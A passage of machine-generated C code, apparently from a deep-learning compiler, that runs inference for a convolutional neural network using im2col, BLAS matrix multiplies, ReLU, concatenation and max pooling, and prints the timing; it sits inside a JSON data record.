x2210;\nint32_t x2229 = x2226 * x2093;\nint32_t x2230 = x2229 + x2211;\nfloat* x2231 = x2223+x2230;\nmemcpy(x2228, x2231, 4 * x2174);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 192,x2175,48,1,x64,48,x2206,x2175,1,x2204,x2175);\n\n}\nfloat* x2240 = (float*)myMalloc(x2177 * sizeof(float));;\nfor(int x2242=0; x2242 < x2177; x2242++) {\nfloat x2243 = x2180[x2242];\nbool x2244 = x2243 < 0.0f;\nif (x2244) {\nx2240[x2242] = 0.0f;\n} else {\nfloat x2247 = x2180[x2242];\nx2240[x2242] = x2247;\n}\n\n}\nfloat* x2262 = (float*)myMalloc(x2261 * sizeof(float));;\nint32_t x2263 = 0;\nfor(int x2264=0; x2264 < 64; x2264++) {\nfor(int x2265=0; x2265 < 192; x2265++) {\nfor(int x2267=0; x2267 < x2257; x2267++) {\nint32_t x2268 = x2263;\nfloat x2269 = x86[x2265];\nx2262[x2268] = x2269;\nx2263 += 1;\n\n}\n\n}\n\n}\nfloat* x2281 = (float*)myMalloc(x2280 * sizeof(float));;\nfor(int x2282=0; x2282 < 64; x2282++) {\nint32_t x2283 = x2282 * x2095;\nfloat* x2284 = x2160+x2283;\nint32_t x2285 = x2282 * x2258;\nfloat* x2286 = x2262+x2285;\nint32_t x2287 = x2282 * x2278;\nfloat* x2288 = x2281+x2287;\nfor(int x2289=0; x2289 < 432; x2289++) {\nint32_t x2290 = x2289 / 9;\nint32_t x2294 = x2290 * 3;\nint32_t x2295 = x2294 * 3;\nint32_t x2296 = x2295 * x2256;\nint32_t x2297 = x2296 * x2256;\nint32_t x2291 = x2289 % 9;\nint32_t x2292 = x2291 / 3;\nint32_t x2298 = x2292 * 3;\nint32_t x2299 = x2298 * x2256;\nint32_t x2300 = x2299 * x2256;\nint32_t x2301 = x2297 + x2300;\nint32_t x2293 = x2291 % 3;\nint32_t x2302 = x2293 * x2256;\nint32_t x2303 = x2302 * x2256;\nint32_t x2304 = x2301 + x2303;\nfloat* x2305 = x2288+x2304;\nint32_t x2306 = x2290 * x2093;\nint32_t x2307 = x2306 * x2093;\nfloat* x2308 = x2284+x2307;\nint32_t x2321 = 1 - x2293;\nbool x2322 = x2321 > 0;\nint32_t x2323;\nif (x2322) {\nx2323 = x2321;\n} else {\nx2323 = 0;\n}\nint32_t x2324 = 3 - x2293;\nint32_t x2325 = x2324 - 1;\nint32_t x2326 = 1 - x2325;\nbool x2327 = x2326 > 0;\nint32_t x2328;\nif (x2327) {\nx2328 = x2326;\n} else {\nx2328 = 0;\n}\nint32_t x2329 = x2256 - x2328;\nint32_t x2330 = x2329 - x2323;\nbool x2331 = x2330 <= 0;\nbool x2335 = x2323 > 0;\nint32_t x2320 = -1 + x2293;\nbool x2348 = x2328 > 0;\nfor(int x2310=0; x2310 < x2256; x2310++) {\nint32_t x2311 = x2310 - 1;\nint32_t x2312 = x2311 + x2292;\nbool x2313 = x2312 < 0;\nbool x2314 = x2312 >= x2093;\nbool x2315 = x2313 || x2314;\nif (x2315) {\nint32_t x2316 = x2310 * x2256;\nfloat* x2317 = x2305+x2316;\nmemset(x2317, 0, 4 * x2256);;\n} else {\nif (x2331) {\nint32_t x2316 = x2310 * x2256;\nfloat* x2332 = x2305+x2316;\nmemset(x2332, 0, 4 * x2256);;\n} else {\nint32_t x2316 = x2310 * x2256;\nif (x2335) {\nfloat* x2336 = x2305+x2316;\nmemset(x2336, 0, 4 * x2323);;\n} else {\n}\n// may have segfault here\nint32_t x2341 = x2316 + x2323;\nfloat* x2342 = x2305+x2341;\nint32_t x2343 = x2312 * x2093;\nint32_t x2344 = x2343 + x2320;\nint32_t x2345 = x2344 + x2323;\nfloat* x2346 = x2308+x2345;\nmemcpy(x2342, x2346, 4 * x2330);;\nif (x2348) {\nint32_t x2349 = x2316 + x2256;\nint32_t x2350 = x2349 - x2328;\nfloat* x2351 = x2305+x2350;\nmemset(x2351, 0, 4 * x2328);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 192,x2257,432,1,x60,432,x2288,x2257,1,x2286,x2257);\n\n}\nfloat* x2366 = (float*)myMalloc(x2259 * sizeof(float));;\nfor(int x2368=0; x2368 < x2259; x2368++) {\nfloat x2369 = x2262[x2368];\nbool x2370 = x2369 < 0.0f;\nif (x2370) {\nx2366[x2368] = 0.0f;\n} else {\nfloat x2373 = x2262[x2368];\nx2366[x2368] = x2373;\n}\n\n}\nif (x2382) {\n} else {\nprintf(\"all dimensions except the concatenation dimension should be the same\\n\");\nassert(false && \"\");\n}\n// back prop for concat\nfloat* x2393 = (float*)myMalloc(x2392 * sizeof(float));;\nint32_t x2394 = 0;\nfor(int x2395=0; x2395 < 64; x2395++) {\nint32_t x2396 = x2395 * x2176;\nfloat* x2397 = x2240+x2396;\nfor(int x2399=0; x2399 < x2176; x2399++) {\nint32_t x2400 = x2394;\nfloat x2401 = x2397[x2399];\nx2393[x2400] = x2401;\nx2394 += 1;\n\n}\nint32_t x2406 = x2395 * x2258;\nfloat* x2407 = x2366+x2406;\nfor(int x2409=0; x2409 < x2258; x2409++) {\nint32_t x2410 = x2394;\nfloat x2411 = x2407[x2409];\nx2393[x2410] = x2411;\nx2394 += 1;\n\n}\n\n}\nfloat* x2425 = (float*)myMalloc(x2424 * sizeof(float));;\nint32_t x2426 = 0;\nfor(int x2427=0; x2427 < 64; x2427++) {\nfor(int x2428=0; x2428 < 64; x2428++) {\nfor(int x2430=0; x2430 < x2420; x2430++) {\nint32_t x2431 = x2426;\nfloat x2432 = x51[x2428];\nx2425[x2431] = x2432;\nx2426 += 1;\n\n}\n\n}\n\n}\nfloat* x2444 = (float*)myMalloc(x2443 * sizeof(float));;\nfor(int x2445=0; x2445 < 64; x2445++) {\nint32_t x2446 = x2445 * x2389;\nfloat* x2447 = x2393+x2446;\nint32_t x2448 = x2445 * x2421;\nfloat* x2449 = x2425+x2448;\nint32_t x2450 = x2445 * x2441;\nfloat* x2451 = x2444+x2450;\nfor(int x2452=0; x2452 < 384; x2452++) {\nint32_t x2453 = x2452 / 1;\nint32_t x2457 = x2453 * x2419;\nint32_t x2458 = x2457 * x2419;\nint32_t x2454 = x2452 % 1;\nint32_t x2455 = x2454 / 1;\nint32_t x2459 = x2455 * x2419;\nint32_t x2460 = x2459 * x2419;\nint32_t x2461 = x2458 + x2460;\nint32_t x2456 = x2454 % 1;\nint32_t x2462 = x2456 * x2419;\nint32_t x2463 = x2462 * x2419;\nint32_t x2464 = x2461 + x2463;\nfloat* x2465 = x2451+x2464;\nint32_t x2466 = x2453 * x2174;\nint32_t x2467 = x2466 * x2174;\nfloat* x2468 = x2447+x2467;\nfor(int x2470=0; x2470 < x2419; x2470++) {\nint32_t x2472 = x2470 * x2419;\nfloat* x2473 = x2465+x2472;\nint32_t x2471 = x2470 + x2455;\nint32_t x2474 = x2471 * x2174;\nint32_t x2475 = x2474 + x2456;\nfloat* x2476 = x2468+x2475;\nmemcpy(x2473, x2476, 4 * x2419);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 64,x2420,384,1,x76,384,x2451,x2420,1,x2449,x2420);\n\n}\nfloat* x2485 = (float*)myMalloc(x2422 * sizeof(float));;\nfor(int x2487=0; x2487 < x2422; x2487++) {\nfloat x2488 = x2425[x2487];\nbool x2489 = x2488 < 0.0f;\nif (x2489) {\nx2485[x2487] = 0.0f;\n} else {\nfloat x2492 = x2425[x2487];\nx2485[x2487] = x2492;\n}\n\n}\nfloat* x2505 = (float*)myMalloc(x2504 * sizeof(float));;\nint32_t x2506 = 0;\nfor(int x2507=0; x2507 < 64; x2507++) {\nfor(int x2508=0; x2508 < 256; x2508++) {\nfor(int x2510=0; x2510 < x2500; x2510++) {\nint32_t x2511 = x2506;\nfloat x2512 = x82[x2508];\nx2505[x2511] = x2512;\nx2506 += 1;\n\n}\n\n}\n\n}\nfloat* x2524 = (float*)myMalloc(x2523 * sizeof(float));;\nfor(int x2525=0; x2525 < 64; x2525++) {\nint32_t x2526 = x2525 * x2421;\nfloat* x2527 = x2485+x2526;\nint32_t x2528 = x2525 * x2501;\nfloat* x2529 = x2505+x2528;\nint32_t x2530 = x2525 * x2521;\nfloat* x2531 = x2524+x2530;\nfor(int x2532=0; x2532 < 64; x2532++) {\nint32_t x2533 = x2532 / 1;\nint32_t x2537 = x2533 * x2499;\nint32_t x2538 = x2537 * x2499;\nint32_t x2534 = x2532 % 1;\nint32_t x2535 = x2534 / 1;\nint32_t x2539 = x2535 * x2499;\nint32_t x2540 = x2539 * x2499;\nint32_t x2541 = x2538 + x2540;\nint32_t x2536 = x2534 % 1;\nint32_t x2542 = x2536 * x2499;\nint32_t x2543 = x2542 * x2499;\nint32_t x2544 = x2541 + x2543;\nfloat* x2545 = x2531+x2544;\nint32_t x2546 = x2533 * x2419;\nint32_t x2547 = x2546 * x2419;\nfloat* x2548 = x2527+x2547;\nfor(int x2550=0; x2550 < x2499; x2550++) {\nint32_t x2552 = x2550 * x2499;\nfloat* x2553 = x2545+x2552;\nint32_t x2551 = x2550 + x2535;\nint32_t x2554 = x2551 * x2419;\nint32_t x2555 = x2554 + x2536;\nfloat* x2556 = x2548+x2555;\nmemcpy(x2553, x2556, 4 * x2499);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x2500,64,1,x91,64,x2531,x2500,1,x2529,x2500);\n\n}\nfloat* x2565 = (float*)myMalloc(x2502 * sizeof(float));;\nfor(int x2567=0; x2567 < x2502; x2567++) {\nfloat x2568 = x2505[x2567];\nbool x2569 = x2568 < 0.0f;\nif (x2569) {\nx2565[x2567] = 0.0f;\n} else {\nfloat x2572 = x2505[x2567];\nx2565[x2567] = x2572;\n}\n\n}\nfloat* x2587 = (float*)myMalloc(x2586 * sizeof(float));;\nint32_t x2588 = 0;\nfor(int x2589=0; x2589 < 64; x2589++) {\nfor(int x2590=0; x2590 < 256; x2590++) {\nfor(int x2592=0; x2592 < x2582; x2592++) {\nint32_t x2593 = x2588;\nfloat x2594 = x55[x2590];\nx2587[x2593] = x2594;\nx2588 += 1;\n\n}\n\n}\n\n}\nfloat* x2606 = (float*)myMalloc(x2605 * sizeof(float));;\nfor(int x2607=0; x2607 < 64; x2607++) {\nint32_t x2608 = x2607 * x2421;\nfloat* x2609 = x2485+x2608;\nint32_t x2610 = x2607 * x2583;\nfloat* x2611 = x2587+x2610;\nint32_t x2612 = x2607 * x2603;\nfloat* x2613 = x2606+x2612;\nfor(int x2615=0; x2615 < 576; x2615++) {\nint32_t x2616 = x2615 / 9;\nint32_t x2620 = x2616 * 3;\nint32_t x2621 = x2620 * 3;\nint32_t x2622 = x2621 * x2581;\nint32_t x2623 = x2622 * x2581;\nint32_t x2617 = x2615 % 9;\nint32_t x2618 = x2617 / 3;\nint32_t x2624 = x2618 * 3;\nint32_t x2625 = x2624 * x2581;\nint32_t x2626 = x2625 * x2581;\nint32_t x2627 = x2623 + x2626;\nint32_t x2619 = x2617 % 3;\nint32_t x2628 = x2619 * x2581;\nint32_t x2629 = x2628 * x2581;\nint32_t x2630 = x2627 + x2629;\nfloat* x2631 = x2613+x2630;\nint32_t x2632 = x2616 * x2419;\nint32_t x2633 = x2632 * x2419;\nfloat* x2634 = x2609+x2633;\nint32_t x2647 = 1 - x2619;\nbool x2648 = x2647 > 0;\nint32_t x2649;\nif (x2648) {\nx2649 = x2647;\n} else {\nx2649 = 0;\n}\nint32_t x2650 = 3 - x2619;\nint32_t x2651 = x2650 - 1;\nint32_t x2652 = 1 - x2651;\nbool x2653 = x2652 > 0;\nint32_t x2654;\nif (x2653) {\nx2654 = x2652;\n} else {\nx2654 = 0;\n}\nint32_t x2655 = x2581 - x2654;\nint32_t x2656 = x2655 - x2649;\nbool x2657 = x2656 <= 0;\nbool x2661 = x2649 > 0;\nint32_t x2646 = -1 + x2619;\nbool x2674 = x2654 > 0;\nfor(int x2636=0; x2636 < x2581; x2636++) {\nint32_t x2637 = x2636 - 1;\nint32_t x2638 = x2637 + x2618;\nbool x2639 = x2638 < 0;\nbool x2640 = x2638 >= x2419;\nbool x2641 = x2639 || x2640;\nif (x2641) {\nint32_t x2642 = x2636 * x2581;\nfloat* x2643 = x2631+x2642;\nmemset(x2643, 0, 4 * x2581);;\n} else {\nif (x2657) {\nint32_t x2642 = x2636 * x2581;\nfloat* x2658 = x2631+x2642;\nmemset(x2658, 0, 4 * x2581);;\n} else {\nint32_t x2642 = x2636 * x2581;\nif (x2661) {\nfloat* x2662 = x2631+x2642;\nmemset(x2662, 0, 4 * x2649);;\n} else {\n}\n// may have segfault here\nint32_t x2667 = x2642 + x2649;\nfloat* x2668 = x2631+x2667;\nint32_t x2669 = x2638 * x2419;\nint32_t x2670 = x2669 + x2646;\nint32_t x2671 = x2670 + x2649;\nfloat* x2672 = x2634+x2671;\nmemcpy(x2668, x2672, 4 * x2656);;\nif (x2674) {\nint32_t x2675 = x2642 + x2581;\nint32_t x2676 = x2675 - x2654;\nfloat* x2677 = x2631+x2676;\nmemset(x2677, 0, 4 * x2654);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x2582,576,1,x70,576,x2613,x2582,1,x2611,x2582);\n\n}\nfloat* x2692 = (float*)myMalloc(x2584 * sizeof(float));;\nfor(int x2694=0; x2694 < x2584; x2694++) {\nfloat x2695 = x2587[x2694];\nbool x2696 = x2695 < 0.0f;\nif (x2696) {\nx2692[x2694] = 0.0f;\n} else {\nfloat x2699 = x2587[x2694];\nx2692[x2694] = x2699;\n}\n\n}\nif (x2708) {\n} else {\nprintf(\"all dimensions except the concatenation dimension should be the same\\n\");\nassert(false && \"\");\n}\n// back prop for concat\nfloat* x2719 = (float*)myMalloc(x2718 * sizeof(float));;\nint32_t x2720 = 0;\nfor(int x2721=0; x2721 < 64; x2721++) {\nint32_t x2722 = x2721 * x2501;\nfloat* x2723 = x2565+x2722;\nfor(int x2725=0; x2725 < x2501; x2725++) {\nint32_t x2726 = x2720;\nfloat x2727 = x2723[x2725];\nx2719[x2726] = x2727;\nx2720 += 1;\n\n}\nint32_t x2732 = x2721 * x2583;\nfloat* x2733 = x2692+x2732;\nfor(int x2735=0; x2735 < x2583; x2735++) {\nint32_t x2736 = x2720;\nfloat x2737 = x2733[x2735];\nx2719[x2736] = x2737;\nx2720 += 1;\n\n}\n\n}\nif (x2745) {\n} else {\nassert(false && \"Image too small for maxPool_k: x Const(64) x Const(512) x Sym(2499) x Sym(2499)|(2,2)\");\n}\nfloat* x2758 = (float*)myMalloc(x2757 * sizeof(float));;\nfor(int x2760=0; x2760 < x2757; x2760++) {\nx2758[x2760] = -3.4028235E38f;\n\n}\nint* x2764 = (int32_t*)myMalloc(x2755 * sizeof(int32_t));;\nfor(int x2765=0; x2765 < 64; x2765++) {\nint32_t x2766 = x2765 * x2715;\nfloat* x2767 = x2719+x2766;\nint32_t x2768 = x2765 * x2754;\nfloat* x2769 = x2758+x2768;\nint* x2770 = x2764+x2768;\nint32_t x2771 = 0;\nint32_t x2772 = 0;\nfor(int x2774=0; x2774 < 512; x2774++) {\nint32_t x2775 = x2771;\nint32_t x2776 = x2775;\nint32_t x2777 = x2772;\nint32_t x2778 = x2777;\nfor(int x2780=0; x2780 < x2752; x2780++) {\nint32_t x2781 = x2776;\nint32_t x2782 = x2781;\nint32_t x2783 = x2778;\nint32_t x2784 = x2783;\nfor(int x2785=0; x2785 < x2752; x2785++) {\nint32_t x2786 = x2784;\nint32_t x2787 = x2786;\nint32_t x2788 = x2787;\nint32_t x2789 = x2788;\nint32_t x2790 = x2789;\nfloat x2791 = x2767[x2790];\nint32_t x2792 = x2782;\nfloat x2793 = x2769[x2792];\nbool x2794 = x2791 > x2793;\nif (x2794) {\nfloat x2795 = x2767[x2790];\nx2769[x2792] = x2795;\nint32_t x2797 = x2790 + x2766;\nx2770[x2792] = x2797;\n} else {\n}\nx2789 += 1;\nint32_t x2802 = x2789;\nfloat x2803 = x2767[x2802];\nfloat x2804 = x2769[x2792];\nbool x2805 = x2803 > x2804;\nif (x2805) {\nfloat x2806 = x2767[x2802];\nx2769[x2792] = x2806;\nint32_t x2808 = x2802 + x2766;\nx2770[x2792] = x2808;\n} else {\n}\nx2789 += 1;\nx2787 += x2499;\nint32_t x2814 = x2787;\nint32_t x2815 = x2814;\nint32_t x2816 = x2815;\nfloat x2817 = x2767[x2816];\nfloat x2818 = x2769[x2792];\nbool x2819 = x2817 > x2818;\nif (x2819) {\nfloat x2820 = x2767[x2816];\nx2769[x2792] = x2820;\nint32_t x2822 = x2816 + x2766;\nx2770[x2792] = x2822;\n} else {\n}\nx2815 += 1;\nint32_t x2827 = x2815;\nfloat x2828 = x2767[x2827];\nfloat x2829 = x2769[x2792];\nbool x2830 = x2828 > x2829;\nif (x2830) {\nfloat x2831 = x2767[x2827];\nx2769[x2792] = x2831;\nint32_t x2833 = x2827 + x2766;\nx2770[x2792] = x2833;\n} else {\n}\nx2815 += 1;\nx2787 += x2499;\nx2782 += 1;\nx2784 += 2;\n\n}\nx2776 += x2752;\nx2778 += x2844;\n\n}\nx2771 += x2753;\nx2772 += x2500;\n\n}\n\n}\nfloat* x2861 = (float*)myMalloc(x2860 * sizeof(float));;\nint32_t x2862 = 0;\nfor(int x2863=0; x2863 < 64; x2863++) {\nfor(int x2864=0; x2864 < 64; x2864++) {\nfor(int x2866=0; x2866 < x2856; x2866++) {\nint32_t x2867 = x2862;\nfloat x2868 = x62[x2864];\nx2861[x2867] = x2868;\nx2862 += 1;\n\n}\n\n}\n\n}\nfloat* x2880 = (float*)myMalloc(x2879 * sizeof(float));;\nfor(int x2881=0; x2881 < 64; x2881++) {\nint32_t x2882 = x2881 * x2754;\nfloat* x2883 = x2758+x2882;\nint32_t x2884 = x2881 * x2857;\nfloat* x2885 = x2861+x2884;\nint32_t x2886 = x2881 * x2877;\nfloat* x2887 = x2880+x2886;\nfor(int x2888=0; x2888 < 512; x2888++) {\nint32_t x2889 = x2888 / 1;\nint32_t x2893 = x2889 * x2855;\nint32_t x2894 = x2893 * x2855;\nint32_t x2890 = x2888 % 1;\nint32_t x2891 = x2890 / 1;\nint32_t x2895 = x2891 * x2855;\nint32_t x2896 = x2895 * x2855;\nint32_t x2897 = x2894 + x2896;\nint32_t x2892 = x2890 % 1;\nint32_t x2898 = x2892 * x2855;\nint32_t x2899 = x2898 * x2855;\nint32_t x2900 = x2897 + x2899;\nfloat* x2901 = x2887+x2900;\nint32_t x2902 = x2889 * x2752;\nint32_t x2903 = x2902 * x2752;\nfloat* x2904 = x2883+x2903;\nfor(int x2906=0; x2906 < x2855; x2906++) {\nint32_t x2908 = x2906 * x2855;\nfloat* x2909 = x2901+x2908;\nint32_t x2907 = x2906 + x2891;\nint32_t x2910 = x2907 * x2752;\nint32_t x2911 = x2910 + x2892;\nfloat* x2912 = x2904+x2911;\nmemcpy(x2909, x2912, 4 * x2855);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 64,x2856,512,1,x43,512,x2887,x2856,1,x2885,x2856);\n\n}\nfloat* x2921 = (float*)myMalloc(x2858 * sizeof(float));;\nfor(int x2923=0; x2923 < x2858; x2923++) {\nfloat x2924 = x2861[x2923];\nbool x2925 = x2924 < 0.0f;\nif (x2925) {\nx2921[x2923] = 0.0f;\n} else {\nfloat x2928 = x2861[x2923];\nx2921[x2923] = x2928;\n}\n\n}\nfloat* x2941 = (float*)myMalloc(x2940 * sizeof(float));;\nint32_t x2942 = 0;\nfor(int x2943=0; x2943 < 64; x2943++) {\nfor(int x2944=0; x2944 < 256; x2944++) {\nfor(int x2946=0; x2946 < x2936; x2946++) {\nint32_t x2947 = x2942;\nfloat x2948 = x68[x2944];\nx2941[x2947] = x2948;\nx2942 += 1;\n\n}\n\n}\n\n}\nfloat* x2960 = (float*)myMalloc(x2959 * sizeof(float));;\nfor(int x2961=0; x2961 < 64; x2961++) {\nint32_t x2962 = x2961 * x2857;\nfloat* x2963 = x2921+x2962;\nint32_t x2964 = x2961 * x2937;\nfloat* x2965 = x2941+x2964;\nint32_t x2966 = x2961 * x2957;\nfloat* x2967 = x2960+x2966;\nfor(int x2968=0; x2968 < 64; x2968++) {\nint32_t x2969 = x2968 / 1;\nint32_t x2973 = x2969 * x2935;\nint32_t x2974 = x2973 * x2935;\nint32_t x2970 = x2968 % 1;\nint32_t x2971 = x2970 / 1;\nint32_t x2975 = x2971 * x2935;\nint32_t x2976 = x2975 * x2935;\nint32_t x2977 = x2974 + x2976;\nint32_t x2972 = x2970 % 1;\nint32_t x2978 = x2972 * x2935;\nint32_t x2979 = x2978 * x2935;\nint32_t x2980 = x2977 + x2979;\nfloat* x2981 = x2967+x2980;\nint32_t x2982 = x2969 * x2855;\nint32_t x2983 = x2982 * x2855;\nfloat* x2984 = x2963+x2983;\nfor(int x2986=0; x2986 < x2935; x2986++) {\nint32_t x2988 = x2986 * x2935;\nfloat* x2989 = x2981+x2988;\nint32_t x2987 = x2986 + x2971;\nint32_t x2990 = x2987 * x2855;\nint32_t x2991 = x2990 + x2972;\nfloat* x2992 = x2984+x2991;\nmemcpy(x2989, x2992, 4 * x2935);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x2936,64,1,x80,64,x2967,x2936,1,x2965,x2936);\n\n}\nfloat* x3001 = (float*)myMalloc(x2938 * sizeof(float));;\nfor(int x3003=0; x3003 < x2938; x3003++) {\nfloat x3004 = x2941[x3003];\nbool x3005 = x3004 < 0.0f;\nif (x3005) {\nx3001[x3003] = 0.0f;\n} else {\nfloat x3008 = x2941[x3003];\nx3001[x3003] = x3008;\n}\n\n}\nfloat* x3023 = (float*)myMalloc(x3022 * sizeof(float));;\nint32_t x3024 = 0;\nfor(int x3025=0; x3025 < 64; x3025++) {\nfor(int x3026=0; x3026 < 256; x3026++) {\nfor(int x3028=0; x3028 < x3018; x3028++) {\nint32_t x3029 = x3024;\nfloat x3030 = x59[x3026];\nx3023[x3029] = x3030;\nx3024 += 1;\n\n}\n\n}\n\n}\nfloat* x3042 = (float*)myMalloc(x3041 * sizeof(float));;\nfor(int x3043=0; x3043 < 64; x3043++) {\nint32_t x3044 = x3043 * x2857;\nfloat* x3045 = x2921+x3044;\nint32_t x3046 = x3043 * x3019;\nfloat* x3047 = x3023+x3046;\nint32_t x3048 = x3043 * x3039;\nfloat* x3049 = x3042+x3048;\nfor(int x3050=0; x3050 < 576; x3050++) {\nint32_t x3051 = x3050 / 9;\nint32_t x3055 = x3051 * 3;\nint32_t x3056 = x3055 * 3;\nint32_t x3057 = x3056 * x3017;\nint32_t x3058 = x3057 * x3017;\nint32_t x3052 = x3050 % 9;\nint32_t x3053 = x3052 / 3;\nint32_t x3059 = x3053 * 3;\nint32_t x3060 = x3059 * x3017;\nint32_t x3061 = x3060 * x3017;\nint32_t x3062 = x3058 + x3061;\nint32_t x3054 = x3052 % 3;\nint32_t x3063 = x3054 * x3017;\nint32_t x3064 = x3063 * x3017;\nint32_t x3065 = x3062 + x3064;\nfloat* x3066 = x3049+x3065;\nint32_t x3067 = x3051 * x2855;\nint32_t x3068 = x3067 * x2855;\nfloat* x3069 = x3045+x3068;\nint32_t x3082 = 1 - x3054;\nbool x3083 = x3082 > 0;\nint32_t x3084;\nif (x3083) {\nx3084 = x3082;\n} else {\nx3084 = 0;\n}\nint32_t x3085 = 3 - x3054;\nint32_t x3086 = x3085 - 1;\nint32_t x3087 = 1 - x3086;\nbool x3088 = x3087 > 0;\nint32_t x3089;\nif (x3088) {\nx3089 = x3087;\n} else {\nx3089 = 0;\n}\nint32_t x3090 = x3017 - x3089;\nint32_t x3091 = x3090 - x3084;\nbool x3092 = x3091 <= 0;\nbool x3096 = x3084 > 0;\nint32_t x3081 = -1 + x3054;\nbool x3109 = x3089 > 0;\nfor(int x3071=0; x3071 < x3017; x3071++) {\nint32_t x3072 = x3071 - 1;\nint32_t x3073 = x3072 + x3053;\nbool x3074 = x3073 < 0;\nbool x3075 = x3073 >= x2855;\nbool x3076 = x3074 || x3075;\nif (x3076) {\nint32_t x3077 = x3071 * x3017;\nfloat* x3078 = x3066+x3077;\nmemset(x3078, 0, 4 * x3017);;\n} else {\nif (x3092) {\nint32_t x3077 = x3071 * x3017;\nfloat* x3093 = x3066+x3077;\nmemset(x3093, 0, 4 * x3017);;\n} else {\nint32_t x3077 = x3071 * x3017;\nif (x3096) {\nfloat* x3097 = x3066+x3077;\nmemset(x3097, 0, 4 * x3084);;\n} else {\n}\n// may have segfault here\nint32_t x3102 = x3077 + x3084;\nfloat* x3103 = x3066+x3102;\nint32_t x3104 = x3073 * x2855;\nint32_t x3105 = x3104 + x3081;\nint32_t x3106 = x3105 + x3084;\nfloat* x3107 = x3069+x3106;\nmemcpy(x3103, x3107, 4 * x3091);;\nif (x3109) {\nint32_t x3110 = x3077 + x3017;\nint32_t x3111 = x3110 - x3089;\nfloat* x3112 = x3066+x3111;\nmemset(x3112, 0, 4 * x3089);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x3018,576,1,x72,576,x3049,x3018,1,x3047,x3018);\n\n}\nfloat* x3127 = (float*)myMalloc(x3020 * sizeof(float));;\nfor(int x3129=0; x3129 < x3020; x3129++) {\nfloat x3130 = x3023[x3129];\nbool x3131 = x3130 < 0.0f;\nif (x3131) {\nx3127[x3129] = 0.0f;\n} else {\nfloat x3134 = x3023[x3129];\nx3127[x3129] = x3134;\n}\n\n}\nif (x3143) {\n} else {\nprintf(\"all dimensions except the concatenation dimension should be the same\\n\");\nassert(false && \"\");\n}\n// back prop for concat\nfloat* x3154 = (float*)myMalloc(x3153 * sizeof(float));;\nint32_t x3155 = 0;\nfor(int x3156=0; x3156 < 64; x3156++) {\nint32_t x3157 = x3156 * x2937;\nfloat* x3158 = x3001+x3157;\nfor(int x3160=0; x3160 < x2937; x3160++) {\nint32_t x3161 = x3155;\nfloat x3162 = x3158[x3160];\nx3154[x3161] = x3162;\nx3155 += 1;\n\n}\nint32_t x3167 = x3156 * x3019;\nfloat* x3168 = x3127+x3167;\nfor(int x3170=0; x3170 < x3019; x3170++) {\nint32_t x3171 = x3155;\nfloat x3172 = x3168[x3170];\nx3154[x3171] = x3172;\nx3155 += 1;\n\n}\n\n}\nfloat* x3187 = (float*)myMalloc(x3186 * sizeof(float));;\nint32_t x3188 = 0;\nfor(int x3189=0; x3189 < 64; x3189++) {\nfor(int x3191=0; x3191 < 10; x3191++) {\nfor(int x3193=0; x3193 < x3182; x3193++) {\nint32_t x3194 = x3188;\nfloat x3195 = x93[x3191];\nx3187[x3194] = x3195;\nx3188 += 1;\n\n}\n\n}\n\n}\nfloat* x3207 = (float*)myMalloc(x3206 * sizeof(float));;\nfor(int x3208=0; x3208 < 64; x3208++) {\nint32_t x3209 = x3208 * x3150;\nfloat* x3210 = x3154+x3209;\nint32_t x3211 = x3208 * x3183;\nfloat* x3212 = x3187+x3211;\nint32_t x3213 = x3208 * x3204;\nfloat* x3214 = x3207+x3213;\nfor(int x3216=0; x3216 < 8192; x3216++) {\nint32_t x3217 = x3216 / 16;\nint32_t x3221 = x3217 * 4;\nint32_t x3222 = x3221 * 4;\nint32_t x3223 = x3222 * x3181;\nint32_t x3224 = x3223 * x3181;\nint32_t x3218 = x3216 % 16;\nint32_t x3219 = x3218 / 4;\nint32_t x3225 = x3219 * 4;\nint32_t x3226 = x3225 * x3181;\nint32_t x3227 = x3226 * x3181;\nint32_t x3228 = x3224 + x3227;\nint32_t x3220 = x3218 % 4;\nint32_t x3229 = x3220 * x3181;\nint32_t x3230 = x3229 * x3181;\nint32_t x3231 = x3228 + x3230;\nfloat* x3232 = x3214+x3231;\nint32_t x3233 = x3217 * x2935;\nint32_t x3234 = x3233 * x2935;\nfloat* x3235 = x3210+x3234;\nfor(int x3237=0; x3237 < x3181; x3237++) {\nint32_t x3239 = x3237 * x3181;\nfloat* x3240 = x3232+x3239;\nint32_t x3238 = x3237 + x3219;\nint32_t x3241 = x3238 * x2935;\nint32_t x3242 = x3241 + x3220;\nfloat* x3243 = x3235+x3242;\nmemcpy(x3240, x3243, 4 * x3181);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 10,x3182,8192,1,x46,8192,x3214,x3182,1,x3212,x3182);\n\n}\nint32_t x3252 = 0;\nint32_t x3253 = 1;\nx3253 *= 64;\nx3253 *= 10;\nint32_t x3256 = x3252;\nbool x3257 = x3256 >= 2;\nif (x3257) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x3263 = x3256 == 0;\nif (x3263) {\nint32_t x3264 = x3253;\nbool x3265 = x3264 == x3184;\nif (x3265) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint64_t x3272 = (long)mallocAddr;\nint64_t x3273 = x3272 - x95;\nmemset((void*)x95, 0, x3273);\nmallocAddr = (void*)x95;\n\n}\ngettimeofday(&end_1, NULL);\ntimeval_subtract(&diff_1, &end_1, &begin_1);;\nint64_t x3280 = ((diff_1.tv_sec * 1000000L) + (diff_1.tv_usec));\nint64_t x3281 = x3280 / 1000LL;\nint64_t x3283 = x3280 / x3282;\nprintf(\"Inferencing completed in %ldms (%ld us/images)\\n\",x3281,x3283);\n\n}\n// Backend cleanup.\n}\n/*****************************************\n End of C Generated Code \n*******************************************/\n\n" }, { "alpha_fraction": 